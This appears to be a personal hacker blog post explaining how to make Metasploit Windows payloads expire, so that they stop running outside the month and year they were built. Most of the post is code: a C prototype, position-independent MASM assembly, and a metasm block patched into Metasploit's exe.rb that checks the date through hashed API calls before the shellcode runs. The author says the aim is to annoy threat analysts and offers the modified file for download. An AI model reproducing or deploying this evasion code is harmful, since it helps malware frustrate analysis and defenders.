Happy clucking new year everyone!
People say i don’t “gave back” to the hacker community enough. That I’m “too cool” for school. Well I got a blog post for those people.
What’s something that would be super annoying as a threat analyst? What if you had a piece of malware that only worked temporarily? Regardless of if the C&C is up, most malware works out of the box. Let’s change that! Let’s make our payloads expire!
What is needed? A few simple API calls, some assembly, some ruby, and some time.
First we make it in C…
#include <windows.h> WORD month = 12; WORD year = 2017; int main(void) { SYSTEMTIME lt; GetLocalTime(<); if(month == lt.wMonth && year == lt.wYear) { FatalAppExit(0,"cock!"); } else { __asm { push 0 Call ExitProcess } } }
Then we pull the assembly out with IDA…
Great, nice and easy. Except for the 2 WORD values placed in the AX register. These are from a data section. We need to put this into an assembly project and make it position independent. Why? Because screw read only memory, that’s why. That means allocate a chunk of memory dynamically and assign it to our SYSTIME structure which is 16 bytes in size.
.486 .model flat, stdcall option casemap :none include c:\masm32\include\windows.inc include c:\masm32\include\kernel32.inc include c:\masm32\include\user32.inc includelib c:\masm32\lib\kernel32.lib includelib c:\masm32\lib\user32.lib ;SYSTEMTIME STRUCT ; wYear WORD ? ; wMonth WORD ? ; wDayOfWeek WORD ? ; wDay WORD ? ; wHour WORD ? ; wMinute WORD ? ; wSecond WORD ? ; wMilliseconds WORD ? ;SYSTEMTIME ENDS ; 16 bytes ; first 2 words are checked ; we dont need a data section ; .data ; DAY = 0Eh ; MONTH = 0Ch ; YEAR = 7E1h .code ;sysTime SYSTEMTIME <> start: ; lets figure out how to do this with PIC ; is now PIC push ebp mov ebp, esp ;sub esp, 10h push 40h ; PAGE_EXECUTE_READWRITE push 1000h ; MEM_COMMIT push 10h ; 16 bytes needed push 0h ; NULL as we dont care where the allocation is. call VirtualAlloc mov ebx, eax ; Store allocated address in ebx lea eax, [ebx] push eax call GetLocalTime mov ax, 0Ch ; MONTH cmp ax, [ebx+2] jnz short exitpart mov ax, 7E1h ; YEAR cmp ax, [ebx] jz short continue exitpart: push 0 call ExitProcess continue: push 0 push 65706f6eh call FatalAppExitA ; shellcode start end start
Now we have our assembly code, small and sexy like. Compile it with masm, its like less than a KB. So now, how to we implement this into metasploit? All payloads are processed and wrapped via this class /lib/msf/util/exe.rb.
At line 1632, we have the master code bit responsible for allocating a read/write/executable block of memory and copying the shellcode inside.
To ensure our expiration code is hit BEFORE the shellcode is run, we should place our code just before memory is allocated for the shellcode. This is done at line 1767.
In order to make our alterations, we need to make use of ‘metasm’, metasploit’s crazy assembler. Thankfully its intel-like in syntax. Analysis of the source shows you can’t just ‘call’ api’s like normal. Instead you have to push a special hash onto the stack, then call the ‘ebp’ register. How do we get said hashes? There exists a special python script in /external/source/shellcode/windows/x86/src/hash.py for obtaining these hashes. We need 1 hash in particular, the one for GetLocalTRime.
The output is 0xD92CE33e. Here’s our addition to the exe.rb file:
;======================================== ; need chunk of memory for SYSTIME struct push 40h ; PAGE_EXECUTE_READWRITE push 1000h ; MEM_COMMIT push 10h ; 16 bytes needed push 0h ; NULL as we dont care where the allocation is. push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); mov ebx, eax ; Store allocated address in ebx lea eax, [ebx] push eax push 0xD92CE33e ; GetLocalTime with chunk from VirtualAlloc call ebp mov ax,cx ; curtime = Time.new mov cx, 0x#{curtime.month.to_s(16)} ; MONTH converted to hex cmp cx, [ebx+2] jnz short exitpart mov cx, 0x#{curtime.year.to_s(16)} ; YEAR converted to hex cmp cx, [ebx] jz short wegood exitpart: push 0 push 0x56A2B5F0 call ebp ; ExitProcess wegood: ; passed checks, can start shellcode now ;=====================================
Nice eh? We grab the current month and year via ruby code and format it to hex.
Does it work though? Does the pope shit in the woods? It’s January 2018 and the code works!
I’ve made this work by creating a duplicate function (method?) of ‘win32_rwx_exec’ in the exe.rb. My idea would be initialization dependent upon an option. That would mean adding the option to Line 19 of lib\msf\core\exploit\exe.rb
if opts[:expire] payload = win32_rwx_exec_expire(code) end
All that’s left to do now is submit to MSF and see if they take it / import it. If you would like to play with it, download the ‘exe.rb’ file here and place it in your [INSTALL_DIR]/lib/msf/util/ folder. Download it here.
I know this may upset a few of you, being just on Windows, but I got your back on part 2. Stay tuned for part 2 when I tackle the Linux addition to my metasploit addition.